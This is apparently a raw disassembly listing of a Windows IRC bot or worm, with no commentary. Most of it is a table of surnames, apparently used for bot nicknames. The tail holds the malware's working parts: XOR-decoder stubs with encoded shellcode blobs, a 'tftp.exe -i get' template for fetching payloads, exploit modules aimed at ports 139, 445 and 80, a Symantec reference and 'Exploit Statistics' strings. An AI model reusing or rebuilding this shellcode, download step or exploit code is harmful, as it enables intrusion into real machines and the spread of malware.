aDelapena	db 'DeLaPena',0         ; DATA XREF: ___:0042DA30o
		align 4
aDegennaro	db 'DeGennaro',0        ; DATA XREF: ___:0042DA2Co
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: ___:0042DA28o
aDavid		db 'David',0            ; DATA XREF: ___:0042DA24o
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: ___:0042DA20o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: ___:0042DA1Co
		align 4
aDas		db 'Das',0              ; DATA XREF: ___:0042DA18o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DA14o
aDapice		db 'Dapice',0           ; DATA XREF: ___:0042DA10o
		align 10h
aDante		db 'Dante',0            ; DATA XREF: ___:0042DA0Co
		align 4
aDanieli	db 'Danieli',0          ; DATA XREF: ___:0042DA08o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: ___:0042DA04o
aDaly		db 'Daly',0             ; DATA XREF: ___:0042DA00o
		align 10h
aDaldalian	db 'Daldalian',0        ; DATA XREF: ___:0042D9FCo
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: ___:0042D9F8o
aCyders		db 'Cyders',0           ; DATA XREF: ___:0042D9F4o
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: ___:0042D9F0o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: ___:0042D9ECo
		align 4
aCurrier	db 'Currier',0          ; DATA XREF: ___:0042D9E8o
aCui		db 'Cui',0              ; DATA XREF: ___:0042D9E4o
aCroxton	db 'Croxton',0          ; DATA XREF: ___:0042D9E0o
aCroxen		db 'Croxen',0           ; DATA XREF: ___:0042D9DCo
		align 4
aCroshaw	db 'Croshaw',0          ; DATA XREF: ___:0042D9D8o
aCrocker	db 'Crocker',0          ; DATA XREF: ___:0042D9D4o
aCrawford	db 'Crawford',0         ; DATA XREF: ___:0042D9D0o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: ___:0042D9CCo
aCounter	db 'Counter',0          ; DATA XREF: ___:0042D9C8o
aCosmides	db 'Cosmides',0         ; DATA XREF: ___:0042D9C4o
		align 10h
aCornish	db 'Cornish',0          ; DATA XREF: ___:0042D9C0o
aCorey		db 'Corey',0            ; DATA XREF: ___:0042D9BCo
		align 10h
aConnors	db 'Connors',0          ; DATA XREF: ___:0042D9B8o
aCondodina	db 'Condodina',0        ; DATA XREF: ___:0042D9B4o
		align 4
aConcino	db 'Concino',0          ; DATA XREF: ___:0042D9B0o
aComstock	db 'Comstock',0         ; DATA XREF: ___:0042D9ACo
		align 4
aCompton	db 'Compton',0          ; DATA XREF: ___:0042D9A4o
					; ___:0042D9A8o
aCollis		db 'Collis',0           ; DATA XREF: ___:0042D9A0o
		align 4
aCollard	db 'Collard',0          ; DATA XREF: ___:0042D99Co
aColella	db 'Colella',0          ; DATA XREF: ___:0042D998o
aColdren	db 'Coldren',0          ; DATA XREF: ___:0042D994o
aCoito		db 'Coito',0            ; DATA XREF: ___:0042D990o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: ___:0042D98Co
aClow		db 'Clow',0             ; DATA XREF: ___:0042D988o
		align 4
aClifton	db 'Clifton',0          ; DATA XREF: ___:0042D984o
aClement	db 'Clement',0          ; DATA XREF: ___:0042D980o
aClark		db 'Clark',0            ; DATA XREF: ___:0042D97Co
		align 10h
aClancy		db 'Clancy',0           ; DATA XREF: ___:0042D978o
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: ___:0042D974o
aCifarelli	db 'Cifarelli',0        ; DATA XREF: ___:0042D970o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: ___:0042D96Co
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: ___:0042D968o
		align 10h
aChurch		db 'Church',0           ; DATA XREF: ___:0042D964o
		align 4
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:0042D960o
		align 4
aChu		db 'Chu',0              ; DATA XREF: ___:0042D95Co
aChristopher	db 'Christopher',0      ; DATA XREF: ___:0042D958o
aChristie	db 'Christie',0         ; DATA XREF: ___:0042D954o
		align 10h
aChristiano	db 'Christiano',0       ; DATA XREF: ___:0042D950o
		align 4
aChristian	db 'Christian',0        ; DATA XREF: ___:0042D94Co
		align 4
aChristenson	db 'Christenson',0      ; DATA XREF: ___:0042D948o
aChinman	db 'Chinman',0          ; DATA XREF: ___:0042D944o
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:0042D940o
aChilds		db 'Childs',0           ; DATA XREF: ___:0042D93Co
		align 10h
aChildress	db 'Childress',0        ; DATA XREF: ___:0042D938o
		align 4
aChien		db 'Chien',0            ; DATA XREF: ___:0042D934o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:0042D930o
		align 10h
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0042D92Co
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: ___:0042D928o
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: ___:0042D924o
		align 4
aCharles	db 'Charles',0          ; DATA XREF: ___:0042D920o
aChapman	db 'Chapman',0          ; DATA XREF: ___:0042D91Co
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:0042D918o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:0042D914o
		align 10h
aCavell		db 'Cavell',0           ; DATA XREF: ___:0042D910o
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0042D90Co
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: ___:0042D908o
		align 10h
aCaspar		db 'Caspar',0           ; DATA XREF: ___:0042D904o
		align 4
aCase		db 'Case',0             ; DATA XREF: ___:0042D900o
		align 10h
aCascio		db 'Cascio',0           ; DATA XREF: ___:0042D8FCo
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:0042D8F8o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: ___:0042D8F4o
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: ___:0042D8F0o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:0042D8ECo
		align 10h
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:0042D8E8o
aCarlos		db 'Carlos',0           ; DATA XREF: ___:0042D8E4o
		align 10h
aCarlin		db 'Carlin',0           ; DATA XREF: ___:0042D8E0o
		align 4
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:0042D8DCo
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:0042D8D8o
aCapursi	db 'Capursi',0          ; DATA XREF: ___:0042D8D4o
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:0042D8D0o
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:0042D8CCo
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:0042D8C8o
		align 10h
aCaperton	db 'Caperton',0         ; DATA XREF: ___:0042D8C4o
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: ___:0042D8C0o
aCanley		db 'Canley',0           ; DATA XREF: ___:0042D8BCo
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:0042D8B8o
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: ___:0042D8B4o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: ___:0042D8B0o
		align 4
aCage		db 'Cage',0             ; DATA XREF: ___:0042D8ACo
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: ___:0042D8A8o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: ___:0042D8A4o
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: ___:0042D8A0o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0042D89Co
aBurridge	db 'Burridge',0         ; DATA XREF: ___:0042D898o
		align 10h
aBurke		db 'Burke',0            ; DATA XREF: ___:0042D894o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:0042D890o
		align 10h
aBurden		db 'Burden',0           ; DATA XREF: ___:0042D88Co
		align 4
aBunton		db 'Bunton',0           ; DATA XREF: ___:0042D888o
		align 10h
aBullard	db 'Bullard',0          ; DATA XREF: ___:0042D884o
aBudding	db 'Budding',0          ; DATA XREF: ___:0042D880o
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0042D87Co
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:0042D878o
aBrook		db 'Brook',0            ; DATA XREF: ___:0042D874o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: ___:0042D870o
		align 10h
aBritz		db 'Britz',0            ; DATA XREF: ___:0042D86Co
		align 4
aBrinton	db 'Brinton',0          ; DATA XREF: ___:0042D868o
aBridges	db 'Bridges',0          ; DATA XREF: ___:0042D864o
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:0042D860o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: ___:0042D858o
					; ___:0042D85Co
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: ___:0042D854o
aBrenan		db 'Brenan',0           ; DATA XREF: ___:0042D850o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: ___:0042D84Co
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: ___:0042D848o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: ___:0042D844o
aBradac		db 'Bradac',0           ; DATA XREF: ___:0042D840o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0042D83Co
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: ___:0042D838o
		align 10h
aBoym		db 'Boym',0             ; DATA XREF: ___:0042D834o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: ___:0042D830o
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0042D82Co
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:0042D828o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: ___:0042D824o
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: ___:0042D820o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0042D81Co
		align 10h
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:0042D818o
aBoudin		db 'Boudin',0           ; DATA XREF: ___:0042D814o
		align 10h
aBotosh		db 'Botosh',0           ; DATA XREF: ___:0042D810o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: ___:0042D80Co
aBossi		db 'Bossi',0            ; DATA XREF: ___:0042D808o
		align 4
aBorden		db 'Borden',0           ; DATA XREF: ___:0042D804o
		align 10h
aBorack		db 'Borack',0           ; DATA XREF: ___:0042D800o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:0042D7FCo
		align 4
aBoone		db 'Boone',0            ; DATA XREF: ___:0042D7F8o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:0042D7F4o
		align 4
aBook		db 'Book',0             ; DATA XREF: ___:0042D7F0o
		align 10h
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:0042D7ECo
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: ___:0042D7E8o
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: ___:0042D7E4o
		align 10h
aBoner		db 'Boner',0            ; DATA XREF: ___:0042D7E0o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: ___:0042D7DCo
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:0042D7D8o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: ___:0042D7D4o
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: ___:0042D7D0o
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: ___:0042D7CCo
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:0042D7C8o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:0042D7C4o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:0042D7C0o
aBloch		db 'Bloch',0            ; DATA XREF: ___:0042D7BCo
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: ___:0042D7B8o
aBliss		db 'Bliss',0            ; DATA XREF: ___:0042D7B4o
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: ___:0042D7B0o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:0042D7ACo
		align 10h
aBlagg		db 'Blagg',0            ; DATA XREF: ___:0042D7A8o
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:0042D7A4o
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:0042D7A0o
		align 10h
aBisho		db 'Bisho',0            ; DATA XREF: ___:0042D79Co
		align 4
aBisema		db 'Bisema',0           ; DATA XREF: ___:0042D798o
		align 10h
aBir		db 'Bir',0              ; DATA XREF: ___:0042D794o
aBinion		db 'Binion',0           ; DATA XREF: ___:0042D790o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: ___:0042D78Co
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:0042D788o
		align 10h
aBeynart	db 'Beynart',0          ; DATA XREF: ___:0042D784o
aBetti		db 'Betti',0            ; DATA XREF: ___:0042D780o
		align 10h
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0042D77Co
		align 10h
aBernston	db 'Bernston',0         ; DATA XREF: ___:0042D778o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:0042D774o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:0042D770o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0042D76Co
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: ___:0042D768o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:0042D764o
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: ___:0042D760o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: ___:0042D75Co
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:0042D758o
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:0042D754o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:0042D750o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0042D74Co
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:0042D748o
		align 4
aBelanger	db 'Belanger',0         ; DATA XREF: ___:0042D744o
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: ___:0042D740o
aBedford	db 'Bedford',0          ; DATA XREF: ___:0042D73Co
aBeder		db 'Beder',0            ; DATA XREF: ___:0042D738o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: ___:0042D734o
aBean		db 'Bean',0             ; DATA XREF: ___:0042D730o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: ___:0042D72Co
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: ___:0042D728o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: ___:0042D724o
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: ___:0042D720o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0042D71Co
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:0042D718o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:0042D714o
		align 10h
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:0042D710o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0042D70Co
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:0042D708o
		align 10h
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:0042D704o
aBarry		db 'Barry',0            ; DATA XREF: ___:0042D700o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: ___:0042D6FCo
		align 10h
aBarnett	db 'Barnett',0          ; DATA XREF: ___:0042D6F8o
aBarneson	db 'Barneson',0         ; DATA XREF: ___:0042D6F4o
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:0042D6F0o
		align 10h
aBarberi	db 'Barberi',0          ; DATA XREF: ___:0042D6ECo
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:0042D6E8o
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:0042D6E4o
		align 10h
aBarajas	db 'Barajas',0          ; DATA XREF: ___:0042D6E0o
aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0042D6DCo
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:0042D6D8o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042D6D4o
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042D6D0o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042D6CCo
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042D6C8o
		align 10h
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042D6C4o
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042D6C0o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042D6BCo
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042D6B8o
aBady		db 'Bady',0             ; DATA XREF: ___:0042D6B4o
		align 4
aBackus		db 'Backus',0           ; DATA XREF: ___:0042D6B0o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042D6ACo
		align 10h
aAzima		db 'Azima',0            ; DATA XREF: ___:0042D6A8o
		align 4
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042D6A4o
		align 10h
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042D6A0o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042D69Co
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042D698o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042D694o
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042D690o
		align 10h
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042D68Co
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042D688o
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:0042D684o
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042D680o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042D67Co
		align 10h
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042D678o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042D674o
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042D670o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: ___:0042D66Co
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042D668o
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042D664o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042D660o
		align 10h
aAndron		db 'Andron',0           ; DATA XREF: ___:0042D65Co
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042D658o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:0042D654o
		align 4
aAndel		db 'Andel',0            ; DATA XREF: ___:0042D650o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:0042D64Co
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042D648o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042D644o
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042D640o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042D63Co
		align 10h
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042D638o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042D634o
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042D630o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042D62Co
		align 4
aAllison	db 'Allison',0          ; DATA XREF: ___:0042D628o
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042D624o
		align 4
aAlda		db 'Alda',0             ; DATA XREF: ___:0042D620o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042D61Co
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042D618o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042D614o
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042D610o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042D60Co
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042D608o
		align 4
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42D604o
aAdams		db 'Adams',0            ; DATA XREF: ___:0042D600o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042D5FCo
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42D5F8o
		align 10h
byte_431250	db 50h			; DATA XREF: ___:0040ADEFo
					; ___:0040ADFCr
		db 43h,	2 dup(0)
dword_431254	dd 7C7325h		; DATA XREF: ___:0040AE9Ao
dword_431258	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AFA4o
dword_431260	dd 3F3F3Fh		; DATA XREF: ___:loc_40AF9Bo
					; sub_41AA42:loc_41AB05o
dword_431264	dd 334B32h		; DATA XREF: ___:0040AF94o
dword_431268	dd 5058h		; DATA XREF: ___:0040AF86o
					; sub_41AA42+AAo
dword_43126C	dd 4B32h		; DATA XREF: ___:0040AF76o
					; sub_41AA42+98o
dword_431270	dd 454Dh		; DATA XREF: ___:0040AF5Do
					; sub_41AA42+7Eo
dword_431274	dd 3839h		; DATA XREF: ___:0040AF4Do
					; sub_41AA42+6Co
dword_431278	dd 544Eh		; DATA XREF: ___:0040AF3Do
					; sub_41AA42+5Ao
dword_43127C	dd 3539h		; DATA XREF: ___:0040AF2Fo
					; sub_41AA42+46o
dword_431280	dd 5D64255Bh, 7325h	; DATA XREF: sub_40AFEA+3Ao
dword_431288	dd 5D4D5Bh		; DATA XREF: sub_40AFEA+2Co
					; sub_40AFEA+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40AFEA+18o
					; sub_418211+5o
		align 4
		jmp	short loc_431298
; ---------------------------------------------------------------------------


loc_431296:				; CODE XREF: ___:loc_431298p
		jmp	short loc_43129D
; ---------------------------------------------------------------------------


loc_431298:				; CODE XREF: ___:00431294j
		call	loc_431296


loc_43129D:				; CODE XREF: ___:loc_431296j
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh


loc_4312A4:				; CODE XREF: ___:004312A9j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_4312A4
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh


loc_4312BA:				; CODE XREF: ___:004312BFj
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_4312BA
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_43135C
		jnz	short loc_431348
		retn
; ---------------------------------------------------------------------------


loc_431348:				; CODE XREF: ___:00431345j
					; ___:00431355j
		call	near ptr loc_43134D+1


loc_43134D:				; CODE XREF: ___:loc_431348p
		add	[edx+0], ch
		call	sub_43135C
		jz	loc_431348
		retn

; =============== S U B	R O U T	I N E =======================================



sub_43135C	proc near		; CODE XREF: ___:00431340p
					; ___:00431350p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_43135C	endp

; ---------------------------------------------------------------------------
		align 4
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o
		align 10h
aSym		db 'sym',0              ; DATA XREF: sub_40C124+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40B7DA+30o
		align 4
		dd 5 dup(0)
dword_431408	dd 0B97h		; DATA XREF: sub_401ACD+1DA0r
					; sub_401ACD+1DC9o ...
off_43140C	dd offset sub_40E0D0	; DATA XREF: sub_40C124+1EAr
dword_431410	dd 0			; DATA XREF: sub_40B64A+2Eo
					; ___:0040D495w ...
dword_431414	dd 1			; DATA XREF: sub_40BACD+1Fr
dword_431418	dd 1			; DATA XREF: sub_40BACD+3B3r
dword_43141C	dd 0			; DATA XREF: sub_40BACD+292r
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40E206h, 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 4
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40DF8Eh, 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 4
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40DF8Eh, 0
		dd 2 dup(1), 0
aAsn80		db 'asn80',0
		align 4
		dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
		dd 50h,	40D2D9h, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 4
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D2D9h, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D2D9h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn445_0	db 'asn445',0
		align 4
		db 2 dup(0)
byte_4315EA	db 1			; DATA XREF: sub_401ACD:loc_4037E6r
					; sub_401ACD+1D23o
		db 73h
		dd 6D79h, 0
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_431616

; =============== S U B	R O U T	I N E =======================================



sub_431606	proc near		; CODE XREF: sub_431606:loc_431616p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_43160E:				; CODE XREF: sub_431606+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_43160E
		jmp	short loc_43161B
; ---------------------------------------------------------------------------


loc_431616:				; CODE XREF: ___:00431604j
		call	sub_431606


loc_43161B:				; CODE XREF: sub_431606+Ej
		jo	short near ptr dword_4315A4+12h
		cwde
		cdq
		cdq
		retn
sub_431606	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o
		align 4
dword_431798	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B64A+46o
unk_4317A4	db  2Dh	; -		; DATA XREF: sub_40B64A+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_4317C4	db  2Dh	; -		; DATA XREF: sub_40B719+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
